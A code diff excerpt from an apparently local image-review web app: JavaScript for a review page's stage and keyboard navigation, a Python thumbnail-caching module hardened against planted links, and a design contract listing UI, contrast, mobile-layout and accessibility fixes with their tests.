return img.naturalWidth <= stage.clientWidth && img.naturalHeight <= stage.clientHeight;
}
function evaluate() {
if (!img.naturalWidth) return;
if (fits()) {
toggle.style.display = 'none';
setMode('fit');
} else {
toggle.style.display = 'inline-flex';
if (!stage.classList.contains('one')) setMode('fit');
/* THE STAGE (r2c). The mode is ONE class on <html>, `stage-one` (absent =
Fit), set by the head script before the stage existed. The shared
machinery binds the toggle and pans a 1:1 picture; this page places the
arrows at the drawn picture. */
var stage = document.getElementById('vstage');
var img = document.getElementById('vimg');
var video = stage.querySelector('video');
var rbody = stage.parentElement; /* .review-body */
var prevA = rbody.querySelector('.vnav.vprev'), nextA = rbody.querySelector('.vnav.vnext');
/* The DRAWN picture's left and right edges, in viewport px, or null until
they are known (still loading, or failed): the arrows then keep their CSS
spot. The object-fit: contain box — which in 1:1 (scale 1) IS the
picture's own box; where it runs past the stage, the clamp in place()
keeps the arrows inside. */
function drawn() {
if (img) {
if (!img.naturalWidth) return null;
var b = img.getBoundingClientRect();
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;
return {l: b.left + (b.width - w) / 2, r: b.left + (b.width + w) / 2};
}
if (video && video.videoWidth) {
var v = video.getBoundingClientRect();
return {l: v.left, r: v.right};
}
return null;
}
bFit.addEventListener('click', function () { setMode('fit'); });
bOne.addEventListener('click', function () { setMode('one'); });
img.addEventListener('load', evaluate);
window.addEventListener('resize', evaluate);
if (img.complete) evaluate();
/* Each arrow wholly outside the drawn edge, its near edge 8px away, clamped
8px inside the stage — so over the picture only when the picture spans
the stage (operator: "unless the image spans the entire width"). */
function place() {
var p = drawn();
if (!p) {
/* unknown (loading, failed): back to the CSS spot, never a stale one */
[prevA, nextA].forEach(function (a) {
if (a) { a.classList.remove('is-placed'); a.style.left = ''; a.style.top = ''; }
});
return;
}
var s = stage.getBoundingClientRect(), o = rbody.getBoundingClientRect();
/* the stage's CLIENT box: a classic scrollbar is not stage an arrow may
sit on (heid bug-hunt, groa — the border box put the next arrow under it) */
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;
[[prevA, -1], [nextA, 1]].forEach(function (pair) {
var a = pair[0];
if (!a) return;
var w = a.offsetWidth, lo = cl + 8, hi = cr - 8 - w;
var x = pair[1] < 0 ? p.l - 8 - w : p.r + 8;
x = Math.max(lo, Math.min(hi, x));
a.classList.add('is-placed');
a.style.left = (x - o.left) + 'px';
a.style.top = (s.top - o.top + s.height / 2) + 'px';
});
}
/* The stage's own machinery — Fit/1:1, pannable, drag-to-pan — is the
shared include (_stage_js.html, r3 C4); the arrows stay this page's. */
var st = BoothStage.attach(stage, {img: img, onSettle: place});
var settle = st.settle;
if (img) BoothMode.bind({
toggle: document.getElementById('vtoggle'),
fit: document.getElementById('btn-fit'),
one: document.getElementById('btn-one'),
onChange: settle
});
if (video) video.addEventListener('loadedmetadata', settle);
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
else window.addEventListener('resize', settle);
/* An arrow key inside the note field is a CARET move, not a navigation.
The handler is on `document` and the note textarea shipped into this same
page, so typing a note and reaching for ← threw the draft away; Escape
did it in one keystroke. Anything editable keeps its own keys. */
/* Keep the current frame in view on the filmstrip — on load, and after an
in-place save swaps the strip for a fresh one. Additive: without it the
strip is still a row of links. */
function centreFilm() {
var cur = document.querySelector('.film-f.is-current');
var film = document.querySelector('.film');
if (cur && film) film.scrollLeft = cur.offsetLeft - (film.clientWidth - cur.offsetWidth) / 2;
}
centreFilm();
document.addEventListener('booth:swapped', centreFilm);
/* Blur reveal on the stage — per-viewer, never persisted. Cosmetic, and
the button says so. */
var rv = document.getElementById('vreveal');
if (rv) rv.hidden = false;
if (rv) rv.addEventListener('click', function () {
var on = document.getElementById('vstage').classList.toggle('revealed');
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
});
/* EVERY key here, new and old, is ignored while focus is in something
editable: an arrow key in the note field is a caret move, and F typed
into a note is a letter, not a flag. */
function isEditable(el) {
return !!(el && (el.isContentEditable ||
/^(input|textarea|select)$/i.test(el.tagName || '')));
}
document.addEventListener('keydown', function (e) {
if (isEditable(e.target)) return;
if (e.metaKey || e.ctrlKey || e.altKey) return;
/* Space moves only when the stage is not a player that wants it. */
var player = document.getElementById('vmedia');
if (e.key === 'Escape') window.location.href = BACK;
else if (e.key === 'ArrowLeft' && PREV) window.location.href = PREV;
else if (e.key === 'ArrowRight' && NEXT) window.location.href = NEXT;
/* ...and never from a focused control: Space is how a keyboard presses a
button or follows a link (r2b, heid bug-hunt — Reveal all and the fog
control could not be pressed). */
else if (e.key === ' ' && NEXT && e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) { e.preventDefault(); window.location.href = e.shiftKey && PREV ? PREV : NEXT; }
else if (e.key === 'f' || e.key === 'F') {
var b = document.getElementById('vflag-btn'); /* re-read: the rail may have been swapped */
if (b) { e.preventDefault(); b.click(); }
}
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }
else if (e.key === 'n' || e.key === 'N') {
var t = document.getElementById('vnote-text');
if (t) { e.preventDefault(); t.focus(); }
}
});
})();
</script>
+206
View File
@@ -0,0 +1,206 @@
"""Derived thumbnails, cached inside the booth.
MEASURED, not assumed. ROADMAP parked progressive loading on "the largest
gallery is 66 images; at that size a lazy grid is almost certainly fine" — which
counted IMAGES and never weighed BYTES. The live set on 2026-09-23:
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
sindra-sfw-pool 59 images 71.7 MB
sindra 30 images 61.6 MB 2.1 MB average
A tile renders a few hundred px wide, so the gallery shipped roughly 16x the pixels
that reach the screen and 77 MB on one page load. 66 is a fine count sitting on
a terrible payload; the operator found it in about a minute of using the Desk.
The cache lives at `<booth>/.thumbs/<rel>.<rule>.webp` (see `thumb_path`),
inside the booth on purpose, so it is swept with the booth and never outlives
what it describes. And because it is inside the booth, where any fleet session
can write, every entry on the way to it may be planted: the cache directories,
the cache file and the temp file are each checked or created so that a link,
a directory or a planted file cannot redirect a write or pose as a thumbnail. Both
`booth_items` and `zip_booth` skip every dot-prefixed path COMPONENT, which they
did not do until this module needed them to.
"""
from __future__ import annotations
import os
import stat
import tempfile
from pathlib import Path
try: # optional: absence degrades to full-size images, never to a broken page
from PIL import Image as _Image
from PIL import ImageOps as _ImageOps
except ImportError: # pragma: no cover
_Image = None
_ImageOps = None
THUMB_DIR = ".thumbs"
# SIZED FOR THE TILE'S WIDTH, AT 2x DENSITY. A gallery tile is sized by its
# width (the image is `width:100%; height:auto`), and on the desktop grid (3
# columns, 1440px viewports and up) it measures 321-361 CSS px, so 768 covers
# the widest one on a 2x screen. This used to be 512 on the LONGEST side, which
# the comment called "comfortably above any tile size", and it was, for a square.
# A 704x1408 portrait got 256px of width for a 361px tile: 1.4x stretched at 1x,
# 2.8x on a 2x screen, and the operator saw it as "blurry until selected".
# Narrower windows reflow to 2 columns (up to 472px) or 1 (up to 650px) and are
# softer than this covers at 2x. tests/test_thumbs_browser.py holds this number
# against the rendered grid, so a wider tile turns it red instead of soft.
THUMB_WIDTH = 768
# Width alone would let a long screenshot through at full height.
THUMB_HEIGHT_MAX = 4096
# An original that already fits the bounds is served as-is only when it is also
# LIGHT: fitting a tile in pixels is not being cheap in bytes, and a 704x1408
# PNG is about a megabyte. Measured on the 381 live images, 2026-09-23: 768-wide
# thumbnails average 39 KB, so anything at or under 64 KB has nothing to save.
THUMB_LIGHT_BYTES = 64 * 1024
THUMB_QUALITY = 78
# A header is free to read and claims any size it likes; `thumbnail()` then
# decodes it, on every request, because a failure is not cached. Past this the
# original is served and nothing is decoded. 64 MP is 8K x 8K, far past any
# image a booth has held.
THUMB_MAX_PIXELS = 64_000_000
# Bump when the ENCODING changes in a way the numbers above do not show (a mode
# conversion, an orientation rule), so every cached thumbnail is rebuilt.
THUMB_VERSION = 2
# What Pillow can open from a plain install. SVG is vector (Pillow cannot read
# it, and it is already small); AVIF needs a plugin we do not require.
THUMBABLE = {".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp"}
def thumb_path(booth: Path, rel: str) -> Path:
"""Where `rel`'s thumbnail lives. Mirrors the tree so two files with the
same basename in different folders cannot collide.
THE WHOLE RULE IS IN THE NAME: width, height cap, quality and an encoding
version. The freshness check below only notices a changed source, so a
thumbnail cut to an older rule would otherwise be served forever. A change
to any of them is a cache miss, and the old files are orphans swept with
their booth."""
rule = f"{THUMB_WIDTH}x{THUMB_HEIGHT_MAX}q{THUMB_QUALITY}v{THUMB_VERSION}"
return booth / THUMB_DIR / f"{rel}.{rule}.webp"
def wants_thumb(rel: str) -> bool:
"""Whether a rel is a candidate at all — extension only, no file read.
Called from the resolver for every item on every index load, so it must not
touch the disk."""
return Path(rel).suffix.lower() in THUMBABLE
def _fresh(out: Path, s_stat: os.stat_result) -> bool:
"""A cache hit: a REGULAR file (lstat, so a link or a directory planted at
the name never counts) carrying its source's EXACT mtime. Exact, not
"at least as new": a source replaced by `cp -p` or an archive extract keeps
an OLDER stamp, and `>=` served the old thumbnail forever."""
try:
o = os.lstat(out)
except OSError:
return False
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns
def _cache_dir(booth: Path, parent: Path) -> bool:
"""Make `parent` (a directory under `booth`) exist as REAL directories,
component by component, never following a link. False when something that
is not a directory is in the way: a `.thumbs` planted as a link would
otherwise put the cache outside the booth, beyond the sweep.
⚠ CREATING `.thumbs` TOUCHES THE BOOTH DIRECTORY'S OWN MTIME, and
`_newest_mtime` seeds from exactly that — so merely LOOKING at a booth aged
it, and once the Desk pulls a thumbnail per booth, one index load would push
every expiry out and the TTL would never fire again. Excluding the cache's
CONTENTS is not enough; the directory entry is the leak. So the booth's
mtime is put back after `.thumbs` is made. That cannot hide real activity:
any file an agent adds is counted by its OWN mtime in the same walk, and the
directory stamp is only the seed."""
cur = booth
for part in parent.relative_to(booth).parts:
cur = cur / part
try:
if not stat.S_ISDIR(os.lstat(cur).st_mode):
return False
continue
except FileNotFoundError:
pass
restore = booth.stat() if cur.parent == booth else None
try:
os.mkdir(cur)
except FileExistsError:
pass
if restore is not None:
try:
os.utime(booth, ns=(restore.st_atime_ns, restore.st_mtime_ns))
except OSError:
pass
if not stat.S_ISDIR(os.lstat(cur).st_mode):
return False
return True
def ensure_thumb(booth: Path, rel: str) -> Path | None:
"""The cached thumbnail for `rel`, generating it if needed. None when there
should not be one — Pillow absent, unsupported type, source already
tile-sized and light, an animation that already fits (a thumbnail is one
frame; an animation too big to fit IS flattened), over the pixel budget,
something planted in the cache's way, or anything at all went wrong.
NEVER RAISES. A thumbnail is an optimisation; a booth page that will not
load is worse than a page that loads slowly, which is the posture every
other read on this path already takes.
"""
if _Image is None or not wants_thumb(rel):
return None
src = booth / rel
out = thumb_path(booth, rel)
try:
s_stat = src.stat()
if _fresh(out, s_stat):
return out
with _Image.open(src) as im:
# `open` reads the header only, so this is cheap enough to decide on.
w, h = im.size
if w * h > THUMB_MAX_PIXELS:
return None
# The size the picture is SEEN at: a camera stores a portrait
# sideways and says so in EXIF, and the browser honours it on the
# original. Pillow does not, so sizing the raw pixels tiled a
# portrait as a landscape (groa, seat-verified).
orientation = im.getexif().get(0x0112, 1)
if orientation in (5, 6, 7, 8):
w, h = h, w
fits = w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):
return None # already tile-sized and cheap (or moving): serve the original
if orientation != 1:
im = _ImageOps.exif_transpose(im)
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))
if im.mode not in ("RGB", "RGBA"):
# A palette PNG carries transparency in `info`, not as a band:
# `getbands()` alone baked it opaque (3/4 arms, seat-executed).
alpha = "A" in im.getbands() or "transparency" in im.info
im = im.convert("RGBA" if alpha else "RGB")
if not _cache_dir(booth, out.parent):
return None
# Atomic, like every other sidecar this service writes, through a
# temp file created O_EXCL under an unpredictable name: the old
# `<out>.<pid>.tmp` could be planted as a link, and the encoder
# wrote THROUGH it (seat P5: 600 B -> 316,400 B).
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
try:
with os.fdopen(fd, "wb") as fh:
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)
os.utime(tmp, ns=(s_stat.st_atime_ns, s_stat.st_mtime_ns))
os.replace(tmp, out)
finally:
try:
os.unlink(tmp)
except OSError:
pass
return out if _fresh(out, s_stat) else None
except Exception: # noqa: BLE001 — a bad image costs its own tile, never the page
return None
+322
View File
@@ -0,0 +1,322 @@
---
contract_version: "0.1"
status: "PROPOSED 2026-09-28 by design-dev. The operator ordered the fix slices from the anti-slop run (booth `booth-antislop`, report `~/.local/share/design-dev/research/booth-antislop-2026-09-28.md`) in design-dev's session: \"go with your recommendations, push, start the fix slices\". Each slice is staged as its own ref (`design-dev/antislop-sN`) for booth-dev's gate: suite, mutation tables and a bug-hunt."
module: "the Booth's rendered surface: filters in booth/app.py, templates, booth/static/embed.js"
purpose: "Fix what the anti-slop run found (the Impeccable detector at 1280 and 390 in light and dark, plus a Vercel Web Interface Guidelines review), one slice at a time, without moving any invariant."
depends_on:
- "app.py: the Jinja Environment and its filters (`human_dur`, `date_iso`, `date_stamp`, `date_day`, `date_ago`); the note/answer routes that record `who = request.client.host`."
- "marks.py: `Mark.created`, `Mark.by`; asks.py: `answer.answered_at`, `answer.answered_by` (ISO strings with microseconds and an offset, written by `now_stamp`)."
- "links.py: `parse_link_entries` -> `when` (the text a `booth link` row carries, today `YYYY-MM-DD HH:MM`)."
language: "python + jinja"
complexity: "low per slice"
touches:
- "booth/app.py (filters)"
- "booth/templates/_marks.html, _ask_inline.html, booth.html (S1)"
- "booth/templates/base.html, view.html; booth/static/embed.js (S2)"
- "booth/templates/base.html, view.html, compare.html; tests/test_antislop_browser.py (S3)"
- "booth/templates/base.html (S4, S6)"
- "booth/app.py (`human_dur`); every page template; booth/static/embed.js (S5a)"
- "booth/templates/base.html (the in-place client), view.html, compare.html; booth/static/embed.js (S5b)"
- "tests/test_antislop.py; tests/mutations/antislop.toml"
assumptions:
- "ONE VIEWER, on this box: local time is the operator's time (US Pacific), as the existing date filters already assume."
- "Stored data does not change shape. Every slice changes only what is RENDERED: `.marks.json`, `links.md` and the answer records keep their exact bytes."
- "Hardening of `render_doc` (raw HTML in docs) and front matter are booth-dev's, by agreement on 2026-09-28; this contract does not touch `render_doc`."
---
# The anti-slop fix slices
The run found that the Booth is sound on desktop and has a set of problems a viewer feels: clock times that break the house form, layouts that break at phone width, controls you can barely see in the light theme, and keyboard and screen-reader plumbing. The slices below fix them in an order that keeps each ref small enough to gate. Every slice keeps the six invariants (CLAUDE.md), and in particular:
- the server renders every state, and scripts only place it;
- autoescape stays on;
- every ordered surface keeps its stated order;
- blur honesty holds.
## S1 — the house clock
**The rule** (operator convention, 2026-09-24): a clock time the operator reads is 24-hour local time (US Pacific), written as four digits with no colon (`0848`). Raw ISO stamps, `HH:MM`, microseconds, offsets and a poster's IP address do not appear in visible text.
- **One filter decides the visible form: `clock`.**
- It takes an ISO-8601 string (with or without microseconds and an offset), an epoch number, or the link board's `YYYY-MM-DD HH:MM`.
- It returns `D Mon HHMM` in local time (for example `28 Sep 0848`), with the year after the month only when it is not the current year (`6 Sep 2025 2335`).
- A value it cannot read is returned **as given**, never a guess and never an exception: the Desk and the board render many rows in one response, and one bad stamp must not 500 the page. An empty value returns `""`.
- *Falsifiable:* a `clock` that formats `%H:%M` fails `test_clock_forms`. A `clock` that raises on garbage fails `test_clock_never_raises`.
- **One filter decides who is shown: `byline`.** It returns the recorded `by` / `answered_by` unless it parses as an IP address (v4 or v6), in which case it returns `""`. The stored value is unchanged; the u2 contract still records the client host.
- *Falsifiable:* a `byline` that passes IPs through fails `test_byline_hides_addresses`.
- **Where the filters apply.** Every visible stamp goes through `clock` and every byline through `byline`, and each clock sits in a `<time>` whose `datetime` carries the value exactly as stored:
- a pick's answer line and a memo's line (`_marks.html`);
- the inline ask's state tag (`_ask_inline.html`, so the embed chrome inherits it);
- the link board's row time (`booth.html`).
- *Falsifiable:* the marks page, the lightbox's verdict aside, the embed fragments and the board carry no visible `HH:MM`, no `T08:48`-shaped stamp and no IP: `test_rendered_marks_use_the_house_clock`, `test_board_rows_use_the_house_clock`, `test_embed_fragment_uses_the_house_clock`. Removing the filter from any one of those templates turns its test red.
- **The date tooltips follow suit.** `date_stamp` (the `title` of every created/updated `<time>`) renders `YYYY-MM-DD HHMM`.
- *Falsifiable:* `%H:%M` in `date_stamp` fails `test_date_stamp_is_house_form`.
- **Folded from the heid bug-hunt** (panel 4/4, thread `01M3MGPFKWBX0SJK5HFE0P3AFM`):
- `clock` converts a number inside its guard: an int past float range was an `OverflowError` (Q1).
- A date or an ISO week renders its day and no invented `0000` (Q8).
- `byline` also hides an address dressed as `addr:port`, `[v6]:port` or `addr/prefix`, or behind invisible characters (Q7).
- The board row's author goes through `byline` like every other surface (Q5).
- *Falsifiable:* the rows marked Q1, Q5, Q7 and Q8 in `antislop.toml`.
- **Refuted, with the reason:** a malformed answer missing `unanswered` does not 500 the marks panel (Q3). The Booth's Jinja uses the default `Undefined`, whose `|length` is 0; the no-op fix was reverted when its falsifier stayed green. `test_a_malformed_answer_costs_its_line_not_the_page` stays, as a guard against a switch to `StrictUndefined`.
- **Accepted as known risk, with reasons:**
- Zone-less mark stamps are read as local by `clock` and as UTC by the ordering path (Q4). No writer produces one: `now_stamp` and the legacy import both stamp with `.astimezone()`. Only a hand-edited file could.
- A board time inside the spring-forward gap renders the normalised hour (Q6). No clock can write a local time that does not exist.
**Out of S1:** the CLI keeps writing its board rows as it does today. The board is a multi-writer file other sessions parse, so its storage form is not changed; `clock` reads both forms.
## S2 — legibility
**The rule.**
- Faded is not legible. A de-emphasised line is quieter by size, weight or a muted colour, never by `opacity`: opacity takes whatever contrast the line had and divides it.
- Labels are 11px or larger (`--size-micro`).
- A sentence-like line is 12px or larger (`--size-caption`).
- **Review arrows on a light stage.** The ‹ › glyph sits on a translucent dark chip. At 60% the chip let a light stage through, and the thin glyph sampled at a median of 2.9:1 (the detector's pixel method; by colour it is about 4:1). The chip is at least 80% dense, so the glyph clears 7:1 over the lightest stage by colour, and reads at pixel level too.
- *Falsifiable:* a chip back at 60% fails `test_review_arrows_hold_over_a_white_stage`, which composites the glyph over the chip over white.
- **The filmstrip numbers are labels:** `--size-micro`, not 9.5px.
- *Falsifiable:* 9.5px fails `test_film_numbers_meet_the_label_floor`.
- **Retired benches keep their contrast.** The row carries no `opacity`. The link and URL take `--text-muted`, and the state word says RETIRED.
- *Falsifiable:* `opacity:.5` back on the row fails `test_retired_benches_are_not_faded`.
- **The marks' state stamp** (`? open`, `✓ answered`) is a label at `--size-micro`, not 10.5px.
- *Falsifiable:* `test_mark_state_meets_the_label_floor`.
- **The inline ask's state tag** (the embed chrome's `✓ answered 28 Sep 0848`) is a label at 11px, not 10.5px. S1's `<time>` made the detector measure it on its own.
- *Falsifiable:* `test_the_ask_tag_meets_the_label_floor`.
- **Hint lines are sentences:**
- the Desk's section rules (`.desk-rule`: "oldest question first", "running things");
- the board's note;
- the bench head's note.
They sit at `--size-caption`.
- *Falsifiable:* `test_hint_lines_meet_the_sentence_floor`.
- **The embed chrome fades nothing.** An answered ask's option details and its "recorded:" line inherit the host page's own text colour, with no `opacity`, so they carry the host's contrast whatever the host is. The embed cannot know the host's palette; its own palette follows the Booth theme, not the report. The notes field's placeholder inherits that colour at 75%, where it had been the browser's grey (3.5 to 4.3:1 on dark).
- *Falsifiable:* `test_embed_fades_nothing`.
- **Folded after the first gate run:** three more labels were below the 11px floor, and they are now `--size-micro` like the rest. They are the flagged tray's number (10px), the tile's "flagged" stamp (10.5px) and compare's A/B badge (9.5px). The report's list had named only the film numbers. *Falsifiable:* the same computed-style test, and three more rows.
- **Folded from the heid bug-hunt.** The embed's ask title no longer fades either (`opacity:.62` on `.bk-ask-title` contradicted "nothing fades", Q9). The claims above are also held on the browser's computed style (`tests/test_antislop_s2_browser.py`): a stylesheet grep cannot see a later rule in the cascade (`font-size:1px`, `color:transparent`, `filter:grayscale`, a placeholder at `opacity:0`), and the browser can.
## S3 — phone layouts
**The rule:** at phone width (≤600px), no text overprints other text, and no single word is set in a column narrower than itself. These claims are measured in a real browser at 390×844 (`tests/test_antislop_browser.py`), because a layout claim read off a stylesheet is a guess.
- **Bench rows wrap instead of squeezing.** At ≤600px a row wraps. The state word and the bench (name over URL) take the first line; who, when, the state buttons and × take the second, indented under the name.
- *Falsifiable:* without the wrap, the name, owner and date boxes intersect: `test_bench_rows_do_not_overprint_on_a_phone`.
- **An inline doc's name keeps its line.** At ≤600px the doc bar wraps. The name takes the full width and breaks only where it must (`overflow-wrap:anywhere`, not `word-break:break-all`); the actions wrap under it.
- *Falsifiable:* `test_doc_name_keeps_a_readable_line_on_a_phone`.
- **The link board's headers stay compact.** At ≤600px the note drops under the count, so the count ("33 links · 1 pinned", "3 benches") stays on one line, in both the board head and the benches head.
- *Falsifiable:* `test_board_head_stays_compact_on_a_phone`.
- **A file tile's number clears its download link.** The ordinal badge sits in the tile's top-left corner, so a file tile's link starts below it.
- *Falsifiable:* `test_file_tile_number_clears_the_download_link`.
- **The review and compare pages keep their header to one line on a phone.** At ≤600px they drop the tagline (every other page keeps it), so the header is the brand plus the theme toggle and the stage starts near the top. The class that scopes this is set by the server on `<body>` (`<html>` carries `data-booth`, which the reveal scripts and their tests pin exactly).
- *Falsifiable:* `test_review_header_is_one_line_on_a_phone`, which also checks that the Desk keeps its tagline.
**Measured, not changed** (the detector's rows that are misreads here):
- `.vname` already ellipsises; the detector measures the clipped inner width.
- The filmstrip clips its next frame at the edge on purpose: the clipped frame is the "there is more" cue of a horizontal scroller.
## S4 — reading measure
**The rule:** a rendered document reads at a book's measure and says its structure with size.
- **Measure.** Prose blocks in `.markdown-body` (paragraphs, lists, block quotes, headings, definition lists) are at most `72ch` wide. Wide blocks (`pre`, tables) keep the full width, where they scroll.
- *Falsifiable:* on the doc view at 1280 wide, a long paragraph measures at most 76 characters of its own font across: `test_doc_prose_reads_at_a_book_measure`.
- **Heading scale.** h3 : body, h2 : h3 and h1 : h2 are each at least 1.18 (h3 `1.2em`, h2 `1.44em`, h1 `1.73em`). Before this, h3 was `1.08em` over its body.
- *Falsifiable:* `test_doc_headings_step_by_size`.
## S6 — the operator's rulings (2026-09-28: "go with your recommendations")
- **The tagline** is a sentence: `held for review · wipes in {ttl}h unless kept`. It is mono, muted and 12px, in sentence case (no tracked capitals). "Ephemeral" goes, and it stays true to held, kept and counting down, as agreed with booth-dev.
- *Falsifiable:* `test_the_tagline_is_a_sentence`: the rendered text, and no `text-transform:uppercase` on `.tagline`.
- **"Needs you" rows carry no side stripe.** The row's "? N OPEN" stamp says it. The flagged frame's bottom stripe in the filmstrip stays: it marks state on a thumbnail.
- *Falsifiable:* `test_needs_you_rows_carry_no_side_stripe`.
- **The brand dot is matte.** Glow means live power (SVOS), and the brand mark is not live. A live bench's dot keeps its glow.
- *Falsifiable:* `test_the_brand_dot_is_matte`.
- **The hazard stripe sits on a `::before`,** not on the button's background, for Wipe now and the armed bulk delete. The button's own background is honestly transparent (a detector read the 3px background band as the whole background, 1.0:1), and the stripe renders exactly as before.
- *Falsifiable:* `test_the_hazard_stripe_is_a_pseudo_element`, in a real browser: no gradient on the button, a 3px striped `::before`.
## S5a — names, landmarks, focus rings, hit areas
The markup and CSS half of the interaction work. It changes no script behaviour except where Wipe now's prompt comes from. The in-place client is untouched; that half is S5b.
- **Every link and button has a word for a name.** A control a screen reader would announce as "×", "⬇", "⤢", "☆", "1:1" or "01" carries an `aria-label`, or the file's name as `.sr-only` text. The visible label stays inside the name (`1:1, natural pixels`).
- Covered: the withdraw ×s, downloads, open-full-page, the viewers' close ✕, the board's pin, copy and remove, the bench's remove, the zoom toggle, and the film-strip and flagged-tray frames.
- A Desk row's wipe names its booth (`wipe the booth alpha`), so a list of rows is not a list of identical "wipe booth"s.
- *Falsifiable:* `test_every_control_has_a_word_for_a_name` (every page, the link board included; the name is computed from `aria-label`, else the text plus each image's `alt`), and `test_desk_row_controls_name_their_booth`.
- **Every field has a name that is not its placeholder.** Every note field, the bench's two inputs and the inline ask's notes carry an `aria-label`.
- *Falsifiable:* `test_fields_are_named`, on every page and on both embed placements.
- **An ask's options are a named group, and its ids are unique.** The inline ask's options are `role="radiogroup"`, labelled by the question's prompt. The marks page's single-question fieldset gets a visually hidden `<legend>`. A titled ask's title takes `bk-ask-<id>-title`: it used to reuse `bk-ask-<id>`, which the question already holds.
- *Falsifiable:* `test_radio_groups_are_named_and_ids_are_unique`, checked on each placement the embed makes: either `whole`, or the questions plus `submit`.
- **Every page has one h1, a skip link and a named main.** The Desk, the review and compare get a visually hidden h1. A doc's own h1 is content and is not counted.
- *Falsifiable:* `test_every_page_has_one_h1_and_a_skip_link`.
- **The browser chrome matches the theme:** `theme-color` for light (`#f0f4f5`) and for dark (`#15191d`).
- *Falsifiable:* `test_theme_color_for_both_schemes`.
- **The review's progress tape is one picture** (`role="img"`, named "N of M seen"). Its segments leave the tab order: the film strip below it holds the same links, named.
- *Falsifiable:* `test_the_tape_is_one_picture`.
- **Wipe now asks by name.** The Desk's delegated prompt moves to `base.html`, and a booth page's Wipe now uses it. It names the booth, and asks the kept-booth question for a kept booth. This replaces an inline `confirm('Wipe this booth now?')`. With JS off the form still submits, as before.
- *Falsifiable:* `test_wipe_now_asks_by_name` (markup), and `test_wipe_now_asks_by_name_in_the_browser`: the dialog's text, and dismissing it wipes nothing.
- **Focus rings and hit areas.**
- The embed draws its own focus rings, so a host's `outline:none` cannot remove them.
- Rings inside `overflow:hidden` containers are drawn inside (`outline-offset:-2px`), where they cannot be clipped.
- The withdraw × is at least 24px, and 44px under a coarse pointer.
- Controls take `touch-action:manipulation`, and the scrolling strips contain their overscroll.
- A long booth slug wraps on a phone.
- *Falsifiable:* `test_embed_chrome_draws_its_own_focus_rings`, `test_focus_rings_are_drawn_inside_clipping_containers`, `test_withdraw_buttons_are_big_enough_to_hit` (measured at 1280, and at 390 with touch), and `test_touch_and_scroll_behaviour` (computed style).
- **Small truths.**
- A why truncated with an ellipsis carries its full text in `title`.
- A countdown of 48h or more rolls up to days (`6d 23h`, not `167h 12m`).
- *Falsifiable:* `test_a_truncated_why_carries_its_full_text`, `test_human_dur_rolls_up_to_days`.
- **Fixup from booth-dev's gate** (a hulda bug-hunt plus heid's second voice, BRINGA, thread `01M3MVGQ7QSCCK8WT59TQ4J469`):
- The booth page's "★ kept — release" asks by name, as the Desk's release does.
- `WORDS` has no prototype, so a `data-confirm` of `__proto__` or `constructor` is an unknown word, and it asks.
- The confirm helper lives in `<head>`, so its capture listener is registered before any form exists. A click during load is asked too; the inline `confirm()` it replaced had that property.
- `shown()` also marks U+2028, U+2029, U+200B–U+200D, U+2060 and U+FEFF.
- Derived ids take a `:`, which no ask id or question key can contain: `bk-ask-<id>-<key>:prompt` and `bk-ask-<id>:title`. `-prompt` or `-title` collided with valid keys. The asks chip still jumps to it by URL fragment; booth-dev's `test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix` now looks the target up by `[id=…]`, since a `#` selector cannot hold a `:`.
- `human_dur` returns "—" for a value that is not finite, instead of raising.
- The tile's copy of a note drops its `id`, because `mark-<id>` names the panel's article (booth-dev's ruling).
- The guards the gate found asserting source patterns now also hold on computed effects: the embed's rings are a solid, opaque 2px line under a host that removes outlines; the rings inside clipping containers compute to `-2px`; the withdraw × is measured on both axes; and question-level notes fields are named.
- *Falsifiable:* `test_no_id_repeats_on_any_page`, `test_release_on_the_booth_page_asks_by_name` (and its browser twin), `test_a_prototype_word_still_asks`, `test_the_confirm_helper_is_listening_before_the_body_exists`, `test_the_dialog_shows_hidden_breaks_and_zero_widths_visibly`, `test_human_dur_never_raises`, `test_rings_inside_clipping_containers_are_drawn_inside`, `test_the_embed_draws_visible_rings`, and the rows marked "S5a fixup" in `antislop.toml`.
- **Existing rows this slice edits** (booth-dev's): two `r2_flow.toml` rows for the confirm helper now name `base.html`, where the helper moved. Their anchors are unchanged.
- **Reported, not changed:** mark ids repeat across a tile and its aside (`mark-note-1`). The CLI prints `#mark-<id>` links to them, so the fix is booth-dev's call.
## S5b — the in-place client: focus, a status line you can see, and drafts that are not lost silently
The script half of the interaction work: guidelines items G1, G2, G4 and G13. The in-place client keeps every promise it makes today:
- it never re-POSTs;
- saves are serialized;
- a batch never reloads.
This slice changes where the script's words appear, when they are said and how long they last; where focus lands after a swap; and whether leaving a page with an unsent draft asks first. Key handling, the doc bar's summary, thumbnail dimensions, scroll padding and the reveal button's name (G6, G7, G14, G15, G17) are S5c.
**What INV-6 covers here, stated so it is not read two ways.** INV-6 forbids the script from building markup, and from rendering any state the server owns (marks, answers, counts, dates, blur). The status line's words are about the script's own requests (saving, saved, could not save). The script already writes them today, through `say()`, and it keeps doing so. The script also sets two attributes on existing nodes: `data-tone` on the status line, and `tabindex="-1"` on a fallback focus target. Neither is markup.
- **Focus survives a swap (G1).**
- **Recording.** Before a swap, if `document.activeElement` is a region being replaced, or is inside one, the script records three things:
- the region's `data-region` id;
- the focused element's key;
- its occurrence number `n` among the elements in that region with the same key, in document order.
- **The key:**
- a form control: `fieldKey`, which is the form's `formKey` plus the field name, plus the value for a radio or checkbox;
- a button inside a form: `formKey` plus the button's `name=value`, or plus `button` for an unnamed one;
- a link: `a|` plus its `href`;
- a `<summary>`: `summary|` plus the `formKey` of the form in its `<details>`.
- Anything else, the region node included, has no key.
